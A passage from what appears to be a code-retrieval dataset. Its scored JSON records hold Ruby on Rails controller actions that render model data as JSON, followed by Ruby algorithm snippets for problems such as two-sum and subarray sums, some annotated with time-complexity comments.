get(\"/tenantcircles.json/tenants\", args)\nend", "title": "" }, { "docid": "0bb94e58cc77adf487f271485c14a4d4", "score": "0.6233279", "text": "def show\n @council = Council.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @council }\n end\n end", "title": "" }, { "docid": "084cffd78d5b471ed33b1153abbf28bc", "score": "0.6191055", "text": "def show\n @council = Council.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @council }\n end\n end", "title": "" }, { "docid": "06c9ce31988484422b7c6bbac88ca36c", "score": "0.618365", "text": "def index\n render json: Concierge.where(stay_id: params[:stay_id])\n end", "title": "" }, { "docid": "c0e8539c32054f76726ffd497440930f", "score": "0.61613286", "text": "def show\n @goconcert = Goconcert.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @goconcert }\n end\n end", "title": "" }, { "docid": "226371f10d7ca3206d92946644ea29b5", "score": "0.61613107", "text": "def show\n @ceremony = Ceremony.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @ceremony }\n end\n end", "title": "" }, { "docid": "0e6618cc070555e9bbee40ccb8764e02", "score": "0.61599356", "text": "def show\n @congty = Congty.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @congty }\n end\n end", "title": "" }, { "docid": "d9a1f8698e02fc5375052370f3d92d70", "score": "0.6119587", "text": "def show\n @counselor = Counselor.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @counselor }\n end\n end", "title": "" }, { "docid": "1102302933d0ae5f7d44b340d9d1d7b7", "score": "0.6119045", "text": "def index\n @tenants = Tenant.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @tenants }\n end\n end", "title": "" }, { "docid": "b93b2c12f8de7c7dba26ddbdf70ecc2e", "score": "0.61161923", "text": "def index\n @counselors = Counselor.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @counselors }\n end\n end", "title": "" }, { "docid": "11367d36e4c90c8a0de89176b3b870a4", "score": "0.6109152", "text": "def index\n @clients = current_user.clients\n render json: @clients\n end", "title": "" }, { "docid": "d29f64b52cb90b34688081b0483e45be", "score": "0.6108059", "text": "def index\n @coolants = Coolant.all\n end", "title": "" }, { "docid": "373172abf9130f962b43e0594b1c5f22", "score": "0.60899794", "text": "def show\n @concertsuser = ConcertsUser.find(params[:id])\n\n respond_to do |format|\n format.json { render :json => @concertsuser }\n end\n end", "title": "" }, { "docid": "6f9b509f33e6371952f3dc163fb06e6b", "score": "0.6086287", "text": "def index\n @customer_companies = Customer.find(:all, :conditions => \"customer_type_id = 1\")\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @customer_companies }\n end\n end", "title": "" }, { "docid": "38f086a9ec89fcdfdfc9a88fa18fe709", "score": "0.6086008", "text": "def index\n\t\tcuisines = Cuisine.all\n\t render json: cuisines\n\tend", "title": "" }, { "docid": "f8d658490ffefbff5e5f745d6a91a2d7", "score": "0.607902", "text": "def index\n @ceremonies = Ceremony.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @ceremonies }\n end \t\n end", "title": "" }, { "docid": "31472713873c4c24a2bd214bbae2bc8f", "score": "0.60768837", "text": "def destroy\n @covenant = Covenant.find(params[:id])\n @covenant.destroy\n\n respond_to do |format|\n format.html { redirect_to covenants_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "f81c290641c37ec7149848e206b2b38e", "score": "0.6073753", "text": "def index\n \n if @current_user.id == 1\n @councils = Council.find(:all, :order => 'councilnumber')\n else \n @councils = Council.find(:all, :conditions => ['id = ?', @current_user.council_id], :order => 'councilnumber')\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @councils }\n end\n end", "title": "" }, { "docid": "2988a938068b403c89b7eaeaeebbe7af", "score": "0.6068088", "text": "def show\n @concert = Concert.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @concert }\n end\n end", "title": "" }, { "docid": "2988a938068b403c89b7eaeaeebbe7af", "score": "0.6068088", "text": "def show\n @concert = Concert.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @concert }\n end\n end", "title": "" }, { "docid": "cffeedcc6eb526924634f3663e80511f", "score": "0.60459", "text": "def index\n @tenants = Tenant.all\n render json: @tenants\n end", "title": "" }, { "docid": "d144515f40616fcd4071bc6074af11d5", "score": "0.6042159", "text": "def index\n @clientes = Cliente.all\n render json: @clientes\n end", "title": "" }, { "docid": "8469940ea19a6ea82d98aaeb73be15fd", "score": "0.6038659", "text": "def index\n @person_cocoons = PersonCocoon.all\n end", "title": "" }, { "docid": "3391527f87f64dd379570730a8ca17ae", "score": "0.60378665", "text": "def index\n @conductors = Conductor.all\n render :json => @conductors\n end", "title": "" }, { "docid": "06443b5a7e002b7717fdab58628ad43b", "score": "0.60309494", "text": "def index\n @cocktails = Cocktail.all\n #render json: @cocktails\n end", "title": "" }, { "docid": "e7bcc738fb635409986da087eec06a5b", "score": "0.6028027", "text": "def show\n @tenant = Tenant.find(params[:id])\n\n render json: @tenant\n end", "title": "" }, { "docid": "d3f90b9a175a7699203a3cc9d32c2b7b", "score": "0.60196847", "text": "def index\n @applicants = Applicant.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @applicants }\n end\n end", "title": "" }, { "docid": "bdefe4591b580a3f2685313f424e8849", "score": "0.6016054", "text": "def show\n @cota = Cota.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @cota }\n end\n end", "title": "" }, { "docid": "db4507a55bf39ff3e173a6c1e1347f31", "score": "0.60142183", "text": "def for_camp\n puts \"COUNSELOR FOR CAMP - #{params.inspect}\"\n @counselor = Counselor.find_by_camp_id(params[:camp_id])\n respond_to do |format|\n format.json { render json: @counselor }\n end\n end", "title": "" }, { "docid": "8d71d3ca198cce8b3b8e4a188d0a81ab", "score": "0.60119236", "text": "def show\n @concert = Concert.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @concert }\n end\n end", "title": "" }, { "docid": "fc7bc2577decb95c50b312279039b90f", "score": "0.6006944", "text": "def show\n @chocolatier = Chocolatier.find(params[:id])\n @chocolates = Chocolate.find_all_by_chocolatier_id(@chocolatier.id)\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @chocolatier }\n end\n end", "title": "" }, { "docid": "9dbf5fb2a97b4f327febb0800f2385d4", "score": "0.60064936", "text": "def show\n @convo = Convo.find_by(id: params[:id])\n render json: @convo\n end", "title": "" }, { "docid": "f18e804159e6020161fdde15e8be1013", "score": "0.60029453", "text": "def index\n @coordinators = Coordinator.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @coordinators }\n end\n end", "title": "" }, { "docid": "8d1ef2da5292c3256ba89a84e433be2c", "score": "0.6002723", "text": "def index\n @merchants = Merchant.all\n\n render json: @merchants\n end", "title": "" }, { "docid": "2a68dcc1e9f2180b0cadd55c7f17ce44", "score": "0.5998097", "text": "def index\n @cats = Colony.find(params[:colony_id]).cats\n end", "title": "" }, { "docid": "14a6d10d39b2d44d971376f29abc0873", "score": "0.59972364", "text": "def create\n @covenant = Covenant.new(params[:covenant])\n\n respond_to do |format|\n if @covenant.save\n format.html { redirect_to @covenant, notice: 'Covenant was successfully created.' }\n format.json { render json: @covenant, status: :created, location: @covenant }\n else\n format.html { render action: \"new\" }\n format.json { render json: @covenant.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "229e90929026a813fe6f7a130e3f67cf", "score": "0.5996625", "text": "def index\n @convos = Convo.all\n render json: @convos\n end", "title": "" }, { "docid": "c623ea19b219fc11256590ab3a4cc9a7", "score": "0.59944874", "text": "def index\n @covariates = Covariate.all\n end", "title": "" }, { "docid": "c4bcd2aaf3f57cd25d4b62a483a627c2", "score": "0.59920067", "text": "def index\n @plants = Plant.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @plants }\n end\n end", "title": "" }, { "docid": "141f652538c4dbe3679ba53810de8679", "score": "0.5991056", "text": "def show\n render json: @cage\n end", "title": "" }, { "docid": "573795645edc4c1b3c72bd258de205f5", "score": "0.59887356", "text": "def show\n @cago = Cago.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @cago }\n end\n end", "title": "" }, { "docid": "f4e7c0427868346129fb57c087bb6127", "score": "0.59857005", "text": "def show\n @coogan = Coogan.find params[:id]\n end", "title": "" }, { "docid": "91da1080dd132f3122c355dc49c47e9d", "score": "0.59846544", "text": "def index\n @coletors = Coletor.all\n end", "title": "" }, { "docid": "2ca7af6b7e61a7b49622098d779b3e92", "score": "0.5983521", "text": "def index\n @congress_people = CongressPerson.all\n end", "title": "" }, { "docid": "3d92805d1ebbf45c18060b2edc8437e5", "score": "0.5979088", "text": "def circle_tenants(params = {})\n \tget(\"/tenantcircles.json/tenants\",params)\n end", "title": "" }, { "docid": "e3210d193bafa63fa02a3ca4cf908d2b", "score": "0.5975378", "text": "def index\n @cotas = Cota.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @cotas }\n end\n end", "title": "" }, { "docid": "c902e9f3e5ac20d990c53b2c1c224f46", "score": "0.5967454", "text": "def create\n @covenant = Covenant.new(covenant_params)\n\n respond_to do |format|\n if @covenant.save\n format.html { redirect_to @covenant, notice: 'Covenant was successfully created.' }\n format.json { render :show, status: :created, location: @covenant }\n else\n format.html { render :new }\n format.json { render json: @covenant.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "4061aa1219ef431b1746fdc649b66a03", "score": "0.5966493", "text": "def index\r\n @aspirants = Aspirant.all\r\n\r\n respond_to do |format|\r\n format.html # index.html.erb\r\n format.json { render json: @aspirants }\r\n end\r\n end", "title": "" }, { "docid": "4c2c978149c181bb4622339d291d00c7", "score": "0.59613883", "text": "def show\n @agency_client = AgencyClient.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @agency_client }\n end\n end", "title": "" }, { "docid": "c0ffa931d98d5ce1e2041a93d545d9ea", "score": "0.5958609", "text": "def index\n @clients = Client.all\n\n render json: @clients\n end", "title": "" }, { "docid": "79a4d3097a5cc5e23c7e251885c50e64", "score": "0.5956602", "text": "def index\n @congties = Congty.paginate(:page => params[:page]).order('tenct ASC')\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @congties }\n end\n end", "title": "" }, { "docid": "fd785afa7bf428915197ff6cd07dba99", "score": "0.59549654", "text": "def show\n @coral = Coral.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @coral }\n end\n end", "title": "" }, { "docid": "8c41a910e1c9eebd0f8995791cf35cbb", "score": "0.59466225", "text": "def index\n @cocktails = current_user.cocktails.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @cocktails }\n end\n end", "title": "" }, { "docid": "ab2cff02d5ed2c2a0e80d1a2f11a73bd", "score": "0.5946402", "text": "def index\n respond_to do |format|\n format.html\n format.json { render json: Careplan.all }\n end\n end", "title": "" }, { "docid": "a529c1389f6445b472c49562bb63ffae", "score": "0.59431577", "text": "def show\n @cage = Cage.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @cage }\n end\n end", "title": "" }, { "docid": "30bdd9412ef2949d9d77bbe390686f65", "score": "0.5929867", "text": "def index\n @cites = Cite.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @cites }\n end\n end", "title": "" }, { "docid": "acfba1ec9e1f8fa80a2e5bea1718f4a7", "score": "0.59295577", "text": "def index\n @careers = Career.all\n\n render json: @careers\n end", "title": "" }, { "docid": "8e8fccfa1de91b21649883246b0e8ba9", "score": "0.59284484", "text": "def get_detail\n render :json => ClientCertification.find(params[:id])\n end", "title": "" }, { "docid": "1a6d140526eb2e9e0928db0fd325a120", "score": "0.592766", "text": "def show\n @crime = Crime.find(params[:id])\n\n render json: @crime\n end", "title": "" }, { "docid": "72c779fb62424d1c1bedb6abff0b8503", "score": "0.59241825", "text": "def show\n @cocktail_ingredient = CocktailIngredient.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @cocktail_ingredient }\n end\n end", "title": "" }, { "docid": "34b2c96f8efacc1db97d2519e5e26d47", "score": "0.59142786", "text": "def index\n @coworkers = Coworker.find(:all, order: \"id\")\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @coworkers }\n end\n end", "title": "" }, { "docid": "d8b1d442b8b2ff391936b65127ebc3d1", "score": "0.59093726", "text": "def index\n @corals = Coral.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @corals }\n end\n end", "title": "" }, { "docid": "77a167594877d817046d68ae121a2b6a", "score": "0.5909065", "text": "def show\n @customer_cupcake = CustomerCupcake.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @customer_cupcake }\n end\n end", "title": "" }, { "docid": "e7005718bfc78f5d7995acd47b9bdf8e", "score": "0.5901597", "text": "def show\n @company = Company.find(params[:id])\n render json: @company\n end", "title": "" }, { "docid": "93553ff5748055563e52d64f271a5827", "score": "0.5895079", "text": "def index\n @contestants = Contestant.all\n end", "title": "" }, { "docid": "eec98efbbe39ef41fe46d9837eedd6c9", "score": "0.58925205", "text": "def index\n @grants = Grant.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @grants }\n end\n end", "title": "" }, { "docid": "dce8653c483399087bc79f49fa38bf32", "score": "0.58906156", "text": "def show\n @caffeine = Caffeine.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @caffeine }\n end\n end", "title": "" }, { "docid": "1bacb7664dab775385804e9e3b9adb4c", "score": "0.5889113", "text": "def show\n @caso = Caso.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @caso }\n end\n end", "title": "" }, { "docid": "2a6c0f69ccd107416f95f50d5c781b8d", "score": "0.5887694", "text": "def show\n @company = Company.find(params[:id])\n\n render json: @company\n end", "title": "" }, { "docid": "f144b636e8854bb169f2fbf022b5a8e9", "score": "0.5885594", "text": "def show\n @vacancy = Vacancy.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @vacancy }\n end\n end", "title": "" }, { "docid": "f144b636e8854bb169f2fbf022b5a8e9", "score": "0.5885594", "text": "def show\n @vacancy = Vacancy.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @vacancy }\n end\n end", "title": "" }, { "docid": "2d9aec5e133e9732a0bb058af1d42f60", "score": "0.58800435", "text": "def index\n @coordinations = Coordination.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @coordinations }\n end\n end", "title": "" }, { "docid": "b8cbeeb9a014a87e2a5af794c4fc3294", "score": "0.58789325", "text": "def index\n puts 'about to get all crimes'\n @crimes = Crime.all\n puts 'finished with crimes'\n @crimes.to_json\n end", "title": "" }, { "docid": "94b5e6a94e2c7223a8dd3848c5343b2b", "score": "0.5873541", "text": "def show\n @colmeia = Colmeia.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @colmeia }\n end\n end", "title": "" }, { "docid": "764a35b8c40e94081ae31d4ae4fab03d", "score": "0.58697903", "text": "def show\n @cavale = Cavale.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @cavale }\n end\n end", "title": "" }, { "docid": "2cb7d8771f5bb3e27929c3d911f8b621", "score": "0.586826", "text": "def index\n @clients = User.find(current_user.id).clients\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @clients } \n end\n end", "title": "" }, { "docid": "2d9e293c3d4e5b2772489dc00a9703df", "score": "0.586307", "text": "def keystone_v2_tenants(auth_url,\n token)\n\n url = URI.parse(\"#{auth_url}/tenants\")\n req = Net::HTTP::Get.new url.path\n req['content-type'] = 'application/json'\n req['x-auth-token'] = token\n\n res = handle_request(req, url)\n data = JSON.parse res.body\n data['tenants']\nend", "title": "" }, { "docid": "3f484e5f2c7be695c02355bd21013e05", "score": "0.58600926", "text": "def index\n @customers = Customer.find(:all, :conditions => \"customer_type_id = 2\")\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @customers }\n end\n end", "title": "" }, { "docid": "b6e25ba7cdf99b360be685c3aebc23b0", "score": "0.58581424", "text": "def show\n @venue_category = VenueCategory.with_venues(venue_category_id: params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @venue_category }\n end\n end", "title": "" }, { "docid": "a573e4b028012e3999e3b0f80d068377", "score": "0.5857511", "text": "def show\n @consumidor = Consumidor.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @consumidor }\n end\n end", "title": "" }, { "docid": "8a69d9b5e0d5cca84881d646a12b3097", "score": "0.58537483", "text": "def show\n @chocolate = Chocolate.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @chocolate }\n end\n end", "title": "" }, { "docid": "806d8432865a3ca9e53c85311ad27b9f", "score": "0.585228", "text": "def index\n @contracts = Contract.all\n @location = Location.find(params[:location_id])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @contracts }\n end\n end", "title": "" }, { "docid": "41c081c1efdc937e0e9cc5521611358e", "score": "0.5846085", "text": "def show\n venue = Venue.find(params[:id])\n render json: venue\n end", "title": "" }, { "docid": "7828499b659774071e431998b094d573", "score": "0.58448577", "text": "def show\n @conversazione = Conversazione.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @conversazione }\n end\n end", "title": "" }, { "docid": "58340da9f8a9d4c399059f241db01453", "score": "0.58431476", "text": "def show\n @careplan = Careplan.find(params[:id])\n\n render json: @careplan\n end", "title": "" }, { "docid": "3f54cb6381798e1bb6b1e5e3d43914fb", "score": "0.58406633", "text": "def show\n @venue_category = VenueCategory.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @venue_category }\n end\n end", "title": "" }, { "docid": "cac9d69f3dc35e9f36041ef777bb68e3", "score": "0.58364564", "text": "def show\n @candy = Candy.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @candy }\n end\n end", "title": "" }, { "docid": "9785a53787d06159ccfe514704dbb332", "score": "0.58313227", "text": "def show\n @congregacion = Congregacion.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @congregacion }\n end\n end", "title": "" }, { "docid": "2bba65ed5deec0028aefd485fec8003c", "score": "0.58289313", "text": "def show\n @tenants = Tenant.find(params[:id])\n end", "title": "" }, { "docid": "c017ae0b3933dac7bfe546cd60deed3b", "score": "0.58287394", "text": "def show\n render json: { contact: @contact, occasions: @contact.occasions }\n end", "title": "" }, { "docid": "539a52ddba8e4c38d480eb4633636ab1", "score": "0.5825276", "text": "def show\n @copipe = Copipe.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @copipe }\n end\n end", "title": "" }, { "docid": "b5eb7d53fc652e4acf9723af66a14e9d", "score": "0.5822999", "text": "def show\n @carpool = Carpool.find(params[:id])\n render json: @carpool, status: 200\n end", "title": "" } ]
591f3231bfa5bccb7da3c279ffffba4e
Time Complexity: O(n) Space Complexity: O(n)
[ { "docid": "aaa74513a3d28bbede78778b8124da7b", "score": "0.0", "text": "def postorder_helper(current_node, list)\n return list if current_node.nil?\n \n postorder_helper(current_node.left, list)\n postorder_helper(current_node.right, list)\n list << {key: current_node.key, value: current_node.value}\n end", "title": "" } ]
[ { "docid": "9bfaea331eedce3072d8464bb5cccee1", "score": "0.650033", "text": "def fast_two_sum?(arr)\n # O(n) in time and space\n result = []\n complements = {}\n\n arr.each_with_index do |el, i|\n if complements[el]\n result.push([complements[el], i])\n else\n complements[-el] = i\n end\n end\n result\n #result.sort\nend", "title": "" }, { "docid": "27f29666484272c0d973e8400c4c357c", "score": "0.6472288", "text": "def hash_two_sum?(arr, num)\n hash = Hash.new(0) #O(1) work\n arr.each do |ele| # N times\n return true if hash.has_key?(num - ele) # O(1) work\n hash[ele]+= 1 # O(1) work\n end\n false\nend", "title": "" }, { "docid": "83415dea3d7100c1aaecd6d3d6b40414", "score": "0.64442027", "text": "def largest_contiguous_subsum(list) #O(n^2)\n sub_arrs = [] #O(1)\n num = list.first #O(1)\n (0...list.length).each do |i| #O(n)\n (i...list.length).each do |j| #O(n)\n sub_arrs << list[i..j] #??? O(1)\n #sub_arrs.shift O(n)\n #the length of sub_arrs\n end\n end \n p sub_arrs #O(1)\n sub_arrs.each do |sub| #O(n)\n if sub.sum > num #O(1)\n num = sub.sum #O(1)\n end \n end \n num #O(1)\nend", "title": "" }, { "docid": "239f4a4623ff9a2dc517cbbef43d4f3d", "score": "0.6427856", "text": "def optimize_for_space(arr)\n arr[0...-1].each_with_index do |el, idx|\n arr[idx + 1..-1].each do |el2|\n return el if el == el2\n end\n end\n \"No Duplicates\"\nend", "title": "" }, { "docid": "94b952c4eec254dafeaf15d164f67032", "score": "0.6301146", "text": "def slow_solution(m, a)\n n = a.size\n return 1 if n == 1\n distinct = 0\n n.times do |back|\n (back..n - 1).each do |front|\n if a[back..front] == a[back..front].uniq\n distinct += 1\n else\n break\n end\n end\n end\n distinct\nend", "title": "" }, { "docid": "d40fb1372be302f457e9d2d28c4b115f", "score": "0.628452", "text": "def largest_contiguous_subsum(list)\n new_list = []\n i = 0\n while i < list.length # O(n)\n j = i\n while j < list.length # O(n)\n sub = list[i..j] # O(n)\n new_list << sub\n j += 1\n end\n i += 1\n end\n largest_sub_sum = new_list[0].sum #O(n)\n \n new_list.each do |sub| # O(n)\n sub_sum = sub.sum # O(n)\n largest_sub_sum = sub_sum if largest_sub_sum < sub_sum\n end\n\n p new_list\n return largest_sub_sum\nend", "title": "" }, { "docid": "58e1fa8bcd6897d0c0d2f244ac3d723b", "score": "0.6273484", "text": "def subsum(list) \r\n subs = []\r\n list.each_with_index do |el, i| #O(n)\r\n list.each_with_index do |el2, j| #O(n)\r\n subs << list[i..j] if j >= i #O(n)\r\n end\r\n end # => O(n^3)\r\n # O(n^2)\r\n subs.map{|sub| sub.sum}.max # => O(n)\r\nend", "title": "" }, { "docid": "b8b7d7fb43e0a5b4979a1606497cab28", "score": "0.62559694", "text": "def better_subsum(list)\r\n largest_sum = nil # O(1)\r\n current_sum = nil # O(1)\r\n list.each_with_index do |ele, i| # O(n)\r\n if current_sum == nil\r\n current_sum = ele\r\n largest_sum = current_sum if largest_sum == nil\r\n else\r\n current_sum += ele\r\n end\r\n\r\n if current_sum >= largest_sum\r\n largest_sum = current_sum\r\n end\r\n\r\n if ele > current_sum\r\n largest_sum = ele if ele > largest_sum\r\n current_sum = ele\r\n end\r\n end\r\n largest_sum # O(1)\r\nend", "title": "" }, { "docid": "0efc7a02b62549839a88810fbfd32865", "score": "0.6250677", "text": "def largest_contiguous_subsum_two(list)\n\n largest_sum = list.first # O(1)\n current_sum = list.first # O(1)\n\n list[1..-1].each do |ele| # O(n)\n if current_sum < 0 # O(1)\n current_sum = 0 # O(1)\n end\n current_sum += ele # O(1)\n if current_sum > largest_sum # O(1)\n largest_sum = current_sum # O(1)\n end\n end\n largest_sum # O(1)\nend", "title": "" }, { "docid": "c978c895d39f4228b0e144beeaf88f7c", "score": "0.6204012", "text": "def removNb_inefficient(n)\n sigma = n*(n+1)/2 # First find the sum of the first n numbers\n (1..n).each do |i| # Start one iteration from 1 to n, call that i\n (i+1..n).each do |j| # Start an inner iteration fron i+1 to n\n product = i*j \n gap_sum = sigma - i - j\n if product == gap_sum # if it meets our conditions then we're done\n return [[i,j],[j,i]]\n end\n end\n end\n return [] # if we have gotten this far then we have no solution\nend", "title": "" }, { "docid": "5faa084714c4a46eb2c34115a33416f7", "score": "0.6187477", "text": "def second_anagram?(str1, str2) #=> FINAL RUN TIME O(n * m)\n\n arr1 = str1.chars #> O(n)\n arr2 = str2.chars #> O(m)\n\n arr1.each do |char| #> O(n)\n # debugger\n index = arr2.find_index(char) #> O(m)\n #at this point its O(n * m)\n return false if index.nil? #> constant\n arr2.delete_at(index) #> O(m)\n end\n #at this point its O(n * 2m)\n \n # debugger\n arr2.empty? #> constant\nend", "title": "" }, { "docid": "fd65d1f145815f32f434c3a3931d3c93", "score": "0.61752874", "text": "def solution(a)\n a1 = []\n a2 = []\n len = a.length\n count = 0\n \n a.each_with_index do |el, i|\n a1 << i-el\n a2 << i+el\n end\n \n a1.sort\n a2.sort\n \n (len-1).downto(0) do |i|\n position = a2.find_index(a1[i])\n if position && position >= 0\n while ((position < len) && (a2[position] == a1[i])) do\n position += 1\n end\n count += position \n else\n insertion_point = -(position+1)\n count += insertion_point\n end\n end\n \n sub = len*((len+1)/2)\n \n return -1 if (count > 10000000)\n \n count\nend", "title": "" }, { "docid": "935543033b8f39002c5f47c08c759ee6", "score": "0.617264", "text": "def two_sum?(arr, target_sum) # O(n + n)\n hash = Hash.new(0)\n arr.each do |ele|\n return true if hash.has_value?(ele)\n hash[ele] = target_sum - ele\n end\n false\nend", "title": "" }, { "docid": "1f26f0e986d493418768645c08c1d530", "score": "0.61341566", "text": "def my_min(array) \n min = array.first # O(1)\n array.each do |ele| #O(n)\n if ele < min #O(1)\n min = ele #O(1)\n end\n end\n min #O(1) \nend", "title": "" }, { "docid": "9f058d080f26f609192ec4bbdb27a792", "score": "0.6088526", "text": "def two_sum_time(arr, sum)\n hash = {}\n arr.each do |n|\n hash[n] ? hash[n] += 1 : hash[n] = 1\n end\n\n result = []\n arr.each do |n|\n if hash[sum - n] && hash[sum - n] > 0\n hash[sum - n] -= 1\n hash[n] -= 1\n result.push([n, sum - n])\n end\n end\n result\nend", "title": "" }, { "docid": "9eff65814391c7285afc2f2f87a89d08", "score": "0.60811543", "text": "def sub_sum_1(list) # time complexity is O(n^3)\n sub_arr = []\n (0...list.length - 1).each do |i|\n (i...list.length).each do |j|\n sub_arr << list[i..j]\n end\n end\n sub_arr.inject { |arr1, arr2| arr2.sum > arr1.sum ? arr1 = arr2 : arr1 }.sum\nend", "title": "" }, { "docid": "56e2f4c229d68e9d667cf5f5fe1d2177", "score": "0.6075271", "text": "def solution(a)\r\n # write your code in Ruby 2.2\r\n #a[0] = 1 [-1..1]\r\n #a[1] = 5 [-4..6]\r\n #a[2] = 2 [0..4]\r\n #a[3] = 1 [2..4]\r\n #a[4] = 4 [0..8]\r\n #a[5] = 0 [0]\r\n\r\n i=0\r\n arr=[]\r\n while(i<a.count) do\r\n \r\n arr[i] = (i-a[i].. i+a[i]).to_a\r\n i+=1 \r\n end\r\n \r\n \r\n \r\n l=arr.count\r\n i=0\r\n n=0\r\n while(i<l) do\r\n \r\n \r\n j=i+1\r\n while(j<l) do\r\n if(arr[i] != arr[j])\r\n \r\n if((arr[i] & arr[j]).empty? == false)\r\n n+=1\r\n end\r\n end\r\n j+=1\r\n end \r\n i+=1\r\n end\r\n n\r\nend", "title": "" }, { "docid": "317ad69d7d130de107e1067b86648abd", "score": "0.607168", "text": "def two_sum?(arr, target_sum) #O(n)\n my_hash = Hash.new()\n arr.each do |el|\n return true if my_hash[target_sum - el]\n my_hash[el] = true\n end\nend", "title": "" }, { "docid": "493b5a14181948ed7023ef25a7072f0c", "score": "0.6065578", "text": "def largest_contiguous_subsum2(list)\n largest = list.first #O(1)\n current = list.first #O(1)\n\n (1...list.length).each do |idx| #O(n)\n current = 0 if current < 0 #O(1)\n current += list[idx] #O(1)\n largest = current if current > largest #O(1)\n end\n largest #O(1)\nend", "title": "" }, { "docid": "3e34ded6668b4b9f9b5ab1abffa42cc2", "score": "0.60594225", "text": "def two_sum?(arr,target_sum) #O(n)\n hash = Hash.new#(false)\n\n arr.each do |el| \n hash[el] = true\n return true if hash[target_sum-el] \n # arr.each do |el| \n # if el*2 != target_sum\n # return true if hash[(target_sum-el)] > 0 \n # else \n # return true if hash[(target_sum-el)] > 1\n # end\n end\n false\nend", "title": "" }, { "docid": "ba1958a12d523bd63f8d13a97f2ed084", "score": "0.605416", "text": "def fibSeq(n)\n\ta=[0]\t\t\t\t\t\t# O(1)\n\tn.times do |index|\t\t\t\t# O(n)\n\t\tif index==0\t\t\t\t# O(1)\n\t\t\ta[index]=0\t\t\t# O(1)\n\t\telsif index==1\n\t\t\ta[index]=1\n\t\telse\n\t\t\ta[index] = a[index-1] + a[index-2] # O(n+n) \n\t\tend\n\tend\n\n\tputs \"Complete Array: #{a}\"\n\tevens = []\n\ta.each do |n|\n\t\tif n % 2 == 0\n\t\t\tevens.push(n)\n\t\tend\n\tend\n\tputs \"Evens: #{evens}\"\n\tsum = 0\n\tevens.each do |num| sum += num end\n\tputs \"Total: #{sum}\"\n\n\nend", "title": "" }, { "docid": "0cd0dca9f402460a97da29bda7381e87", "score": "0.60390335", "text": "def hash_two_sum?(arr, target) # O(n)\n hash = Hash.new(false)\n arr.each do |el|\n return true if hash[el]\n\n hash[target - el] = true\n\n end\n false\n\nend", "title": "" }, { "docid": "4a21fd90da81a02895a7e32078bf0946", "score": "0.6035992", "text": "def solution(a)\r\n # write your code in Ruby 2.2\r\n \r\n i=0;\r\n l=a.count\r\n arr=[]\r\n p=0\r\n loop do\r\n arr[a[i]-1] = a[i]\r\n i+=1\r\n \r\n if(i==l)\r\n k=1;\r\n \r\n for j in arr\r\n if(k!=j)\r\n p=k\r\n break\r\n end\r\n k+=1\r\n end\r\n \r\n break\r\n end\r\n end\r\n \r\n \r\n p\r\nend", "title": "" }, { "docid": "32a0ef79e59e9f9547a01b3fcc7312dd", "score": "0.6035922", "text": "def solution(a)\n acc = 0\n sum = 0\n\n a.each do |n|\n if n == 0\n acc += 1\n 